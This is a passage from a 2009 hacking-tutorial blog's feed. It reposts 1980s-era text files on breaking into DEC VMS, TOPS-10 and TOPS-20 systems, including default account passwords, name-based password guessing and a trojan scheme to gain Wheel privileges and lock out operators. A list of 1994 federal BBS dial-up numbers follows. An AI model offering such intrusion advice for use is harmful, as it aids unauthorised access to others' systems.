Hacking" written by "The&lt;br /&gt;Mentor".  The word "hacking" is here used the way the non-hacking public&lt;br /&gt;thinks it is used, to mean breaking into somebody else's computer.  Its&lt;br /&gt;purpose is to expand and clarify the information about the TOPS-20 operating&lt;br /&gt;system, which runs on DECsystem-20 mainframes.  The Mentor basically lumped&lt;br /&gt;this system in with TOPS-10 and didn't note important differences between the&lt;br /&gt;two.  I will here reproduce in full what The Mentor had to say about TOPS-10&lt;br /&gt;and about VMS, which are the parent and the offspring of TOPS-20.&lt;br /&gt;&lt;br /&gt;VMS-       The VAX computer is made by Digital Equipment Corporation (DEC),&lt;br /&gt;           and runs the VMS (Virtual Memory System) operating system.&lt;br /&gt;           VMS is characterized by the 'Username:' prompt.  It will not tell&lt;br /&gt;           you if you've entered a valid username or not, and will disconnect&lt;br /&gt;           you after three bad login attempts.  It also keeps track of all&lt;br /&gt;           failed login attempts and informs the owner of the account next time&lt;br /&gt;           s/he logs in how many bad login attempts were made on the account.&lt;br /&gt;           It is one of the most secure operating systems around from the&lt;br /&gt;           outside, but once you're in there are many things that you can do&lt;br /&gt;           to circumvent system security.  The VAX also has the best set of&lt;br /&gt;           help files in the world.  Just type HELP and read to your heart's&lt;br /&gt;           content.&lt;br /&gt;           Common Accounts/Defaults:  [username: password [[,password]] ]&lt;br /&gt;           SYSTEM:     OPERATOR or MANAGER or SYSTEM or SYSLIB&lt;br /&gt;           OPERATOR:   OPERATOR&lt;br /&gt;           SYSTEST:    UETP&lt;br /&gt;           SYSMAINT:   SYSMAINT or SERVICE or DIGITAL&lt;br /&gt;           FIELD:      FIELD or SERVICE&lt;br /&gt;           GUEST:      GUEST or unpassworded&lt;br /&gt;           DEMO:       DEMO  or unpassworded&lt;br /&gt;           DECNET:     DECNET&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DEC-10-    An earlier line of DEC computer equipment, running the TOPS-10&lt;br /&gt;           operating system.  These machines are recognized by their&lt;br /&gt;           '.' prompt.  The DEC-10/20 series are remarkably hacker-friendly,&lt;br /&gt;           allowing you to enter several important commands without ever&lt;br /&gt;           logging into the system.  Accounts are in the format [xxx,yyy] where&lt;br /&gt;           xxx and yyy are integers.  You can get a listing of the accounts and&lt;br /&gt;           the process names of everyone on the system before logging in with&lt;br /&gt;           the command .systat (for SYstem STATus).  If you seen an account&lt;br /&gt;           that reads [234,1001]   BOB JONES, it might be wise to try BOB or&lt;br /&gt;           JONES or both for a password on this account.  To login, you type&lt;br /&gt;           .login xxx,yyy  and then type the password when prompted for it.&lt;br /&gt;           The system will allow you unlimited tries at an account, and does&lt;br /&gt;           not keep records of bad login attempts.  It will also inform you&lt;br /&gt;           if the UIC you're trying (UIC = User Identification Code, 1,2 for&lt;br /&gt;           example) is bad.&lt;br /&gt;           Common Accounts/Defaults:&lt;br /&gt;           1,2:        SYSLIB or OPERATOR or MANAGER&lt;br /&gt;           2,7:        MAINTAIN&lt;br /&gt;           5,30:       GAMES&lt;br /&gt;&lt;br /&gt;**** note:  I'm remembering this stuff from several years ago, and in some&lt;br /&gt;cases my memory may be foggy or stuff may be outdated.&lt;br /&gt;&lt;br /&gt;TOPS-20, once you are inside, resembles VMS much more than it resembles  &lt;br /&gt;TOPS-10, as far as I know (I'm not really familiar with VMS).  From the&lt;br /&gt;outside, it's more like TOPS-10, except that the prompt is a @ instead of a&lt;br /&gt;period.  You can enter many commands without logging in, including SYSTAT and&lt;br /&gt;probably FINGER.  (Sometimes you can even use the mail program without&lt;br /&gt;logging in.)  It is very helpful.  Not only does the command HELP lead to&lt;br /&gt;lots of useful information, but anywhere in typing a command you can press ?&lt;br /&gt;and it will tell you what the format of the command expects.  For instance,&lt;br /&gt;if you type ? by itself, it will tell you all the words that a command can&lt;br /&gt;begin with.  If you type S?, it will tell you all the commands that start&lt;br /&gt;with the letter S.  If you type SYSTAT ?, it will tell you the options&lt;br /&gt;available on the systat command.  You can use this at any point in any&lt;br /&gt;command.  Furthermore, if there is only one possibility (you have typed a&lt;br /&gt;unique abbreviation), you can press Escape and it will finish the word for&lt;br /&gt;you.  I'm not sure, but I think TOPS-20 was the system that first introduced&lt;br /&gt;filename completion as well --turning a uniquely abbreviated filename into a&lt;br /&gt;complete name when you press escape, beeping if the abbreviation is not&lt;br /&gt;unique.  With command keywords you can leave the abbreviation un-expanded,&lt;br /&gt;with filenames you have to expand it (or type it all in) for it to work.&lt;br /&gt;&lt;br /&gt;Use the "Login" command to log in, followed by a username.  It will prompt&lt;br /&gt;for a password.  Note that a password can be something like 39 characters&lt;br /&gt;long, as can the username itself.  TOPS-20 does NOT use numbers like 317,043&lt;br /&gt;for user IDs.  (Note that these numbers in TOPS-10 are octal, not decimal.) &lt;br /&gt;Furthermore, the password can contain spaces.  So, if somebody wants to make&lt;br /&gt;his password difficult to guess, he can easily do so.&lt;br /&gt;&lt;br /&gt;(But sometimes they might get overconfident.  I remember a story from&lt;br /&gt;Stanford...  Someone asked the large cheese if he would let him know what the&lt;br /&gt;operator password was, and he said "The operator password is currently&lt;br /&gt;unavailable."  So the guy tried "currently unavailable" as a password, and&lt;br /&gt;got in.  (Which reminds me of the time they got a real bug in the system&lt;br /&gt;there...  a head crash caused by an ant on the disk platter.))&lt;br /&gt;&lt;br /&gt;In general, TOPS-20 does not limit the number of login attempts, nor does it&lt;br /&gt;keep a record of bad tries.  However, it is not difficult for the local&lt;br /&gt;management to add such measures, or others such as a delay of several seconds&lt;br /&gt;after each attempt.  And unlike Unix, it is difficult to evade these even&lt;br /&gt;once you're in.  Without heavy in-depth knowledge, you can't test a username-&lt;br /&gt;password combination except through a system call, which will enforce delays&lt;br /&gt;and limited failures and such against password-trying programs.&lt;br /&gt;&lt;br /&gt;So, TOPS-20 is easy to defend against the "database hack", in which you try&lt;br /&gt;many different common passwords with many different usernames.  (Unix is&lt;br /&gt;much more vulnerable to this.)  But any particular system, especially a lax&lt;br /&gt;one like a college machine (DEC is always popular in academia), might have&lt;br /&gt;little defense here.  But you might not know how much defense until too late.&lt;br /&gt;&lt;br /&gt;Do try the GUEST username.&lt;br /&gt;&lt;br /&gt;But TOPS-20 can be very vulnerable to trojan horses.  See, there's this thing&lt;br /&gt;called the Wheel bit.  A username that has the Wheel property can do anything&lt;br /&gt;the system operator can do, such as ignore file protection masks, edit the&lt;br /&gt;disks at the track/sector level, change any area of memory...  On Unix, only&lt;br /&gt;one user, the superuser, can read and write protected files.  On TOPS-20, any&lt;br /&gt;user can do these things from any terminal, if the Wheel attribute is set in&lt;br /&gt;his user data.  Some campus computers tend to accumulate excess trusted users&lt;br /&gt;with wheel bits, and have to periodically prune away the unnecessary ones.&lt;br /&gt;&lt;br /&gt;The thing is that a wheel can do these things without knowing that he has&lt;br /&gt;done them.  Normally the privileged commands are deactivated.  But a program&lt;br /&gt;run by a wheel can activate the privileges, do anything it wants, cover its&lt;br /&gt;tracks, and deactivate them without the user ever being the wiser.  So if you&lt;br /&gt;can get any wheel user to run any program you wrote, such as a game or small&lt;br /&gt;utility...  there's no limit to what you can do.  In particular, you can&lt;br /&gt;create a new username, and make it a wheel.  Or you can simply ask the system&lt;br /&gt;outright for someone's password, if I'm not mistaken.  (All this requires&lt;br /&gt;access to TOPS-20 programming manuals, but some of the necessary material&lt;br /&gt;should be available on line.)  You cannot actually conceal this creation, as&lt;br /&gt;far as I know...  but maybe with sophisticated enough knowledge you could&lt;br /&gt;make it not immediately apparent...  Anyway, once you get that far in, you can&lt;br /&gt;probably keep one step ahead of them for a while...  If they erase your new&lt;br /&gt;accounts, you can use the passwords to old ones...  They can change all of&lt;br /&gt;the wheel passwords, but a lot of the regular users won't change for some&lt;br /&gt;time...  You could even lock the operators out of their own system by&lt;br /&gt;changing all their passwords for them, if you were crazy enough, perhaps&lt;br /&gt;forcing them to shut the machine down to regain control of it.  They might&lt;br /&gt;even have to restore stuff from tape backup.&lt;br /&gt;&lt;br /&gt;Even if you don't wedge your way into secret stuff, a TOPS-20 system can be&lt;br /&gt;fun to explore.  It's much more novice-friendly than most systems, and much&lt;br /&gt;more hacker-friendly as well.  I think the ascendency of Unix as the least-&lt;br /&gt;common-denominator OS that everybody can agree on is a definite loss,&lt;br /&gt;compared to TOPS-20.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-552700174811382382?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/rlgRrIHLeJugw-75thdXl6qYWEo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/rlgRrIHLeJugw-75thdXl6qYWEo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/rlgRrIHLeJugw-75thdXl6qYWEo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/rlgRrIHLeJugw-75thdXl6qYWEo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/8RZLY1IJimk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/552700174811382382/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/hacking.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/552700174811382382?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/552700174811382382?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/8RZLY1IJimk/hacking.html" title="अ नोविस गाइड तो HACKING" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/hacking.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUMCRXs6fCp7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-6832201639562988381</id><published>2009-11-03T02:14:00.000-08:00</published><updated>2009-11-03T02:17:44.514-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:17:44.514-08:00</app:edited><title>लिस्ट ऑफ़ गवर्नमेंट बब्स NUMBERS</title><content type="html">FEDERAL GOVERNMENT BULLETIN BOARD SYSTEMS (Last Updated: 8/23/94)&lt;br /&gt;&lt;br /&gt;OPM BBSs:&lt;br /&gt;~~~~~~~~&lt;br /&gt;MAINSTREET.............                     (202) 606-4800&lt;br /&gt;     Fed Pers &amp; Job Info from&lt;br /&gt;     OPM's Agencywide BBS&lt;br /&gt;Federal Jobline.........                    (818) 575-6521&lt;br /&gt;     Fed Pers &amp; Job Info from&lt;br /&gt;     OPM's Western Region BBS&lt;br /&gt;Fed Job Opp Board (FJOB)                    (912) 757-3100&lt;br /&gt;     Fed Pers &amp; Job Info from&lt;br /&gt;     OPM's Macon, GA Service Ctr&lt;br /&gt;FEDJOBS.................                    (215) 580-2216&lt;br /&gt;     Fed Pers &amp; Job Info from&lt;br /&gt;     OPM's Philadelphia Region BBS&lt;br /&gt;PayPerNet#1 ............                    (202) 606-2675&lt;br /&gt;     Fed. Pay &amp; Per. Mgmt Info&lt;br /&gt;     from OPM (Line #1)&lt;br /&gt;PayPerNet#2 ............                    (202) 606-1876&lt;br /&gt;     Fed. Pay &amp; Per. Mgmt Info&lt;br /&gt;     from OPM (Line #2)&lt;br /&gt;WASNET .................                    (202) 606-1113&lt;br /&gt;     OPM Wash Area Serv Ctr BBS;&lt;br /&gt;     phone first: 202-606-1848&lt;br /&gt;&lt;br /&gt;OTHER FEDERAL BBSs:&lt;br /&gt;~~~~~~~~~~~~~~~~~~&lt;br /&gt;AGRICULTURE DEPT&lt;br /&gt;Agriculture Library                         301-504-6510/301-504-5496&lt;br /&gt;Biological Impact Assessment                703-231-3858/800-624-2723&lt;br /&gt;Commercial Information Delivery Service     (Must subscribe first:&lt;br /&gt;                                               202-720-5505)&lt;br /&gt;Economic Research Service                   800-821-6229&lt;br /&gt;Human Nutrition Information Service         301-436-5078&lt;br /&gt;IndiaNET (USDA &amp; EPA)                       605-393-0468&lt;br /&gt;&lt;br /&gt;AIR FORCE DEPT&lt;br /&gt;Air Force Small Business BBS                800-821-6229 (type SIGNUP)&lt;br /&gt;Small Computer Support Center               406-731-2503&lt;br /&gt;ULANA BBS (AF Engrg Installation)           405-736-0928&lt;br /&gt;ULANA II (AF Engrg Installation)            405-741-0824&lt;br /&gt;Competition Advocate (AF Space Command)     (Call voice first:&lt;br /&gt;                                                                                719-554-5325)&lt;br /&gt;Standard Systems Center                     205-416-5651&lt;br /&gt;Hill AFB                                    801-774-6509&lt;br /&gt;&lt;br /&gt;Argonne National Laboratory                 708-252-8241&lt;br /&gt;&lt;br /&gt;ARMY DEPT&lt;br /&gt;Integration &amp; Analysis Center (IMA)         703-285-6400/6401&lt;br /&gt;Automated Specification Criteria (Corps     916-557-7997/800-445-8644&lt;br /&gt;     of Engrs)&lt;br /&gt;Data Distribution System (Engrg &amp;           703-355-2185&lt;br /&gt;     Housing Supp Ctr)&lt;br /&gt;Morale, Welfare, and Recreation (MDW)       202-475-7543&lt;br /&gt;Software Engrg Support BBS (Army Sfw Ctr)   703-285-9637&lt;br /&gt;&lt;br /&gt;Bureau of Mines (Minerals production)       202-501-0373&lt;br /&gt;&lt;br /&gt;Bureau of Prisons                           202-514-6102&lt;br /&gt;&lt;br /&gt;CENSUS BUREAU&lt;br /&gt;Census BEA Electronic Forum                 301-763-7554&lt;br /&gt;Census Personnel BBS                        301-763-4574&lt;br /&gt;&lt;br /&gt;COAST GUARD&lt;br /&gt;Coast Guard Online Magazine &amp; News          202-267-4644&lt;br /&gt;Global Positioning System BBS               703-866-3894/703-313-5910&lt;br /&gt;&lt;br /&gt;COMMERCE DEPT&lt;br /&gt;Radio Frequency Mgmt Issues (NTIA)          202-482-1199&lt;br /&gt;Economic BBS                                202-482-3870&lt;br /&gt;Planning &amp; Budget BBS                       202-482-1423&lt;br /&gt;&lt;br /&gt;Customs Service                             703-440-6155&lt;br /&gt;&lt;br /&gt;DC Government                               202-727-6668&lt;br /&gt;&lt;br /&gt;DEFENSE DEPT&lt;br /&gt;ADA Information Clearinghouse               703-614-0215&lt;br /&gt;Export License I                            703-697-6109&lt;br /&gt;DISA Acquisition Clearinghouse              618-256-9200&lt;br /&gt;DISA Info Technology Acquisition            618-744-8787&lt;br /&gt;DOD IGNet                                   703-604-5768&lt;br /&gt;&lt;br /&gt;Defense Logistics Agency DASC-ZE BBS        703-274-5863&lt;br /&gt;&lt;br /&gt;Defense Mapping Agency NAVINFONET BBS       301-227-4424&lt;br /&gt;     (Marine advisories)&lt;br /&gt;&lt;br /&gt;Defense Technology Security Admin ELISA I   703-697-6109&lt;br /&gt;     (Export license status)&lt;br /&gt;&lt;br /&gt;EDUCATION DEPT&lt;br /&gt;Educational Research &amp; Improvement          202-219-2011&lt;br /&gt;National Education BBS                      800-222-4922/202-219-1511&lt;br /&gt;&lt;br /&gt;ENERGY DEPT&lt;br /&gt;Megawatts                                   202-586-0739&lt;br /&gt;Civilian Radioactive Waste Mgmt Infolink    (Call voice first:&lt;br /&gt;                                               800-225-6972)&lt;br /&gt;Energy Information Admin BA BBS             202-586-2557&lt;br /&gt;Office of Fossil Energy FE Telenews         202-586-6496&lt;br /&gt;Office of Minority Economic Impact          800-543-2325/202-586-1561&lt;br /&gt;&lt;br /&gt;ENVIRONMENTAL PROTECTION AGENCY (EPA)&lt;br /&gt;EPA Region 4                                404-347-1767&lt;br /&gt;EPA Region 10                               206-553-2241&lt;br /&gt;Alternative Treatment Tech Info             301-670-3813/3808&lt;br /&gt;     Center (ATTIC)&lt;br /&gt;Wetlands, Oceans, &amp; Watersheds              301-589-0205&lt;br /&gt;Pesticide Information Network               703-305-5919&lt;br /&gt;Pollution Prevention BBS                    800-658-8815/703-506-1025&lt;br /&gt;Research &amp; Development BBS                  513-569-7610/800-258-9605&lt;br /&gt;Technology Transfer Network                 919-541-1447/919-541-5742&lt;br /&gt;Cleanup Information                         301-589-8366&lt;br /&gt;Solid Waste Management                      800-544-1936&lt;br /&gt;EPA/NOAA Gulfline                           800-235-4662/601-688-2677&lt;br /&gt;Ocean &amp; Coastal Protection                  202-260-8482&lt;br /&gt;     Division CoastNet&lt;br /&gt;Online Library System (OLS)                 919-549-0700 (2400)&lt;br /&gt;  (NOTE: 7-E-1 HALF Duplex)                 919-549-0720 (9600)&lt;br /&gt;Office of Air Quality Planning              919-541-1325&lt;br /&gt;Center for Exposure Assessment Modeling     706-546-3402&lt;br /&gt;&lt;br /&gt;Export-Import Bank - EXIMBANK BBS           202-566-4699&lt;br /&gt;&lt;br /&gt;FEDERAL AVIATION ADMINISTRATION&lt;br /&gt;Air Traffic Operations Service              202-267-5331&lt;br /&gt;Air Transport Division                      202-267-5231&lt;br /&gt;FAA Airports                                202-267-5205&lt;br /&gt;FAA Headquarters BBS                        202-267-5697&lt;br /&gt;Navigation &amp; Landing                        202-267-6547&lt;br /&gt;Office of Environment &amp; Energy              202-267-9647&lt;br /&gt;FAA Safety Exchange                         800-426-3814&lt;br /&gt;Orlando Flight Service District             407-648-6309&lt;br /&gt;     Office Pilot Examiner                  405-684-4530/405-954-4530&lt;br /&gt;Portland Master Minimum Equipment           207-780-3297&lt;br /&gt;     List&lt;br /&gt;&lt;br /&gt;FEDERAL COMMUNICATIONS COMMISSION&lt;br /&gt;FCC State Link                              202-632-1361&lt;br /&gt;FCC Public Access Link                      301-725-1072&lt;br /&gt;&lt;br /&gt;FEDERAL EMERGENCY MANAGEMENT AGENCY&lt;br /&gt;Hazardous Materials                         708-972-3275&lt;br /&gt;State/Local Emergency Management            202-646-2887&lt;br /&gt;&lt;br /&gt;Federal Energy Regulatory Commission:&lt;br /&gt;Issuance Posting System                     202-208-1397&lt;br /&gt;&lt;br /&gt;Federal Highway Administration FEEBS        202-366-3764&lt;br /&gt;&lt;br /&gt;Federal Information Exchange FEDIX          800-232-4879&lt;br /&gt;&lt;br /&gt;FEDERAL RESERVE BANK&lt;br /&gt;Dallas: Federal Reserve Economic Data       214-922-5199&lt;br /&gt;Minneapolis: Electronic Database            612-340-2489&lt;br /&gt;St. Louis: Federal Reserve Economic Data    314-621-1824&lt;br /&gt;&lt;br /&gt;FEDERAL SUPPLY SERVICE&lt;br /&gt;Automated Product Listing Service           703-305-6570&lt;br /&gt;Multiuse File For Interagency News          202-205-3890&lt;br /&gt;&lt;br /&gt;Food &amp; Drug Administration                  301-443-7496&lt;br /&gt;&lt;br /&gt;Government Accounting Office GAO WATCHDOG   202-371-2455&lt;br /&gt;&lt;br /&gt;GEOLOGICAL SURVEY&lt;br /&gt;Quick Epicenter Determination               800-358-2663&lt;br /&gt;Geological Survey BBS/CD-ROM Info           703-648-4168&lt;br /&gt;&lt;br /&gt;Government Printing Office&lt;br /&gt;FEDERAL BULLETIN BOARD                      202-512-1387&lt;br /&gt;&lt;br /&gt;GPS Global Positioning                      703-866-3890&lt;br /&gt;&lt;br /&gt;GENERAL SERVICES ADMINISTRATION&lt;br /&gt;Cooperative Administrative Support          202-653-7516&lt;br /&gt;     Program&lt;br /&gt;Consumer Information Center                 202-208-7679&lt;br /&gt;GSA Schedule                                202-501-7254&lt;br /&gt;Office of IRM OFIRM BBS                     202-208-7484&lt;br /&gt;&lt;br /&gt;HEALTH &amp; HUMAN SERVICES DEPT&lt;br /&gt;Administration for Children &amp; Families      202-401-5800&lt;br /&gt;National Institute on Alcohol Abuse         202-289-4112&lt;br /&gt;Office of the Asst Secretary of Health      202-690-5423&lt;br /&gt;Social Security Administration              410-965-1133&lt;br /&gt;     (Annual Wage Reporting BBS)&lt;br /&gt;Social Security Administration              410-966-5051&lt;br /&gt;&lt;br /&gt;Housing &amp; Urban Development Dept            202-708-3563&lt;br /&gt;&lt;br /&gt;INTERIOR DEPT&lt;br /&gt;Fish &amp; Wildlife Service                     303-226-9365&lt;br /&gt;Geological Survey                           703-648-4168&lt;br /&gt;Indian Health Service                       401-443-9517&lt;br /&gt;Office of Environmental Affairs             202-208-7119&lt;br /&gt;Offshore Statistics &amp; Information           703-787-1225&lt;br /&gt;&lt;br /&gt;INTERNAL REVENUE SERVICE&lt;br /&gt;ISM Support Information System              202-219-9977&lt;br /&gt;Statistics of Income                        202-874-9574&lt;br /&gt;Martinsburg Info Reporting Project          304-263-2749&lt;br /&gt;&lt;br /&gt;JUSTICE DEPT&lt;br /&gt;Criminal Justice Reference Service          301-738-8895&lt;br /&gt;SEARCH-BBS                                  916-392-4640&lt;br /&gt;&lt;br /&gt;LABOR DEPT&lt;br /&gt;Labor News                                  202-219-4784&lt;br /&gt;Office of Public Affairs                    202-523-4784&lt;br /&gt;&lt;br /&gt;LIBRARY OF CONGRESS&lt;br /&gt;News Service                                202-707-3854&lt;br /&gt;Automated Library Information               202-707-4888&lt;br /&gt;&lt;br /&gt;Maritime Admin/Market Promotion             202-366-8505&lt;br /&gt;&lt;br /&gt;NAPO/AIDS Info &amp; Reports                    202-690-5423&lt;br /&gt;&lt;br /&gt;NATIONAL AERONAUTICS &amp; SPACE ADMIN&lt;br /&gt;Marshall Space Flight Ctr NASA SPACELINK    205-895-0028&lt;br /&gt;NASA JSC Houston                            713-483-5817&lt;br /&gt;NASA JPL                                    818-354-1333&lt;br /&gt;&lt;br /&gt;National Archives FREND (Fed. Register      202-275-0920&lt;br /&gt;     Electronic News Delivery)&lt;br /&gt;&lt;br /&gt;NATIONAL INSTITUTE OF STANDARDS &amp; TECHNOLOGY&lt;br /&gt;Center for Fire Research                    301-990-2272&lt;br /&gt;Computer Security                           301-948-5140/5717&lt;br /&gt;Data Management Information                 301-948-2059/2048&lt;br /&gt;North American ISDN Users Forum             301-869-7281&lt;br /&gt;&lt;br /&gt;National Institutes of Health&lt;br /&gt;PC BULL                                     301-480-8400&lt;br /&gt;NIH Information Center                      301-480-5144&lt;br /&gt;&lt;br /&gt;NATIONAL OCEANIC &amp; ATMOSPHERIC ADMIN&lt;br /&gt;Space Environment Lab                       303-497-5000&lt;br /&gt;Marine Data Computer                        301-713-4573&lt;br /&gt;Environmental Services Data Directory       205-606-4666&lt;br /&gt;NOAA Library                                303-497-5848&lt;br /&gt;National Geo Data Center                    303-497-7319&lt;br /&gt;&lt;br /&gt;NATIONAL SCIENCE FOUNDATION&lt;br /&gt;Fed. R&amp;D, Tech Labor Market Stats           202-634-1764&lt;br /&gt;Science &amp; Technology Information            202-357-0359&lt;br /&gt;     System&lt;br /&gt;&lt;br /&gt;National Tech. Info. Service (NTIS)&lt;br /&gt;FEDWorld                                    703-321-8970/8020&lt;br /&gt;&lt;br /&gt;National Tele. &amp; Info Admin                 202-482-1199&lt;br /&gt;&lt;br /&gt;National Weather Service                    301-899-0827&lt;br /&gt;&lt;br /&gt;NAVY DEPT&lt;br /&gt;IRM College Recruitment BBS                 804-445-2104/804-843-4093&lt;br /&gt;Online Automated System                     804-445-1627&lt;br /&gt;ADA Technical Support BBS                   804-444-7841&lt;br /&gt;Naval Reserve Force BBS                     504-254-7776&lt;br /&gt;JAGNet                                      703-325-0748&lt;br /&gt;CINCLANTFLT BBS                             804-445-1146&lt;br /&gt;COMNAVSURFPAC/COMNAVAIRPAC                  619-556-0135/0136&lt;br /&gt;COMSUBLANT                                  804-445-8657&lt;br /&gt;Defense Energy Information System (DEIS)    805-982-5300/805-984-0686&lt;br /&gt;NAS Pax River (MilECHO MetroLink)           301-826-4805&lt;br /&gt;Fleet Imaging BBS                           804-433-2534&lt;br /&gt;General Purpose Electronic Test Equipment   301-862-8048&lt;br /&gt;     (GPETE)&lt;br /&gt;Naval Aviation Maintenance Office,          301-826-3626&lt;br /&gt;     Pax River&lt;br /&gt;Naval Air Warfare Center, Indianapolis      317-351-4992&lt;br /&gt;Naval Energy BBS                            805-985-5062&lt;br /&gt;Naval Justice School                        401-841-3990&lt;br /&gt;Pacific Missile Test Center                 805-989-8722&lt;br /&gt;SIMA, Portsmouth, VA                        804-396-0158&lt;br /&gt;&lt;br /&gt;Office of Government Ethics                 202-523-1186&lt;br /&gt;&lt;br /&gt;OFFICE OF PERSONNEL MANAGEMENT&lt;br /&gt;OPM Mainstreet.............                 202 606-4800&lt;br /&gt;     Fed Personnel Issues,&lt;br /&gt;     Policy, &amp; Job Info from&lt;br /&gt;     OPM's Agencywide/Nationwide BBS&lt;br /&gt;Federal Jobline.........                    818 575-6521&lt;br /&gt;Fed Pers &amp; Job Info from&lt;br /&gt;     OPM's Western Region BBS&lt;br /&gt;Fed Job Opp Board (FJOB)                    912 757-3100&lt;br /&gt;Fed Pers &amp; Job Info from&lt;br /&gt;     OPM's Macon, GA Service Ctr&lt;br /&gt;FEDJOBS.................                    215 580-2216&lt;br /&gt;     Fed Pers &amp; Job Info from&lt;br /&gt;     OPM's Philadelphia Region BBS&lt;br /&gt;PayPerNet ............                      202 606-2675/1876&lt;br /&gt;Fed. Pay &amp; Per. Mgmt Info&lt;br /&gt;     from OPM&lt;br /&gt;WASNET .................                    202 606-1113&lt;br /&gt;     OPM Wash Area Serv Ctr BBS;&lt;br /&gt;     phone first: 202-606-1848&lt;br /&gt;&lt;br /&gt;SMALL BUSINESS ADMINISTRATION&lt;br /&gt;SBA DC Metro                                202-401-9600&lt;br /&gt;SBA National                                800-697-INFO&lt;br /&gt;SBA Internal                                202-205-6269&lt;br /&gt;&lt;br /&gt;STATE DEPT&lt;br /&gt;Automated License Status System             703-875-7350&lt;br /&gt;Consular Affairs                            202-647-9225&lt;br /&gt;Passport Info/Travel Alerts                 202-647-9225&lt;br /&gt;PerManNet                                   703-715-9806&lt;br /&gt;&lt;br /&gt;TREASURY DEPT/Financial Management Service&lt;br /&gt;Inventory Rates                             202-287-0767&lt;br /&gt;Federal Bond Approvals                      202-287-1295/202-874-7214&lt;br /&gt;&lt;br /&gt;U.S. CONGRESS&lt;br /&gt;Federal Whistleblower BBS                   202-225-5527&lt;br /&gt;&lt;br /&gt;U.S. COURTS&lt;br /&gt;1st Circuit Court of Appeals                617-223-4640&lt;br /&gt;4th Circuit Court of Appeals                804-771-8084&lt;br /&gt;5th Circuit Court of Appeals                504-589-6850&lt;br /&gt;6th Circuit Court of Appeals                513-684-2842&lt;br /&gt;7th Circuit Court of Appeals                312-435-5560&lt;br /&gt;8th Circuit Court of Appeals                314-539-3576&lt;br /&gt;9th Circuit Court of Appeals                415-744-9022&lt;br /&gt;U.S. District Court E Pennsylvania          215-597-0646&lt;br /&gt;&lt;br /&gt;DEPARTMENT OF VETERANS AFFAIRS&lt;br /&gt;American Veterans Network                   410-761-3406&lt;br /&gt;United States Veterans BBS                  612-588-7563&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-6832201639562988381?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/GtNbXeirr8Er85sAcRLkotijdEk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GtNbXeirr8Er85sAcRLkotijdEk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/GtNbXeirr8Er85sAcRLkotijdEk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GtNbXeirr8Er85sAcRLkotijdEk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/iusL-BJ4paY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/6832201639562988381/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/numbers.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/6832201639562988381?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/6832201639562988381?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/iusL-BJ4paY/numbers.html" title="लिस्ट ऑफ़ गवर्नमेंट बब्स NUMBERS" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/numbers.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEYHQn85fSp7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-2547665025928926128</id><published>2009-11-03T01:23:00.000-08:00</published><updated>2009-11-03T01:55:33.125-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T01:55:33.125-08:00</app:edited><title>Beginners Guide to Hacking Unix</title><content type="html">   **************************************  *       A BEGINNERS GUIDE TO:        *  *          H A C K I N G             *  *                                    *  *                U N I X             *  *                                    *  *          BY JESTER SLUGGO          *  * (NOTE: THIS IS WRITTEN IN 40 COL.) *  *         WRITTEN 10/08/85           *  **************************************    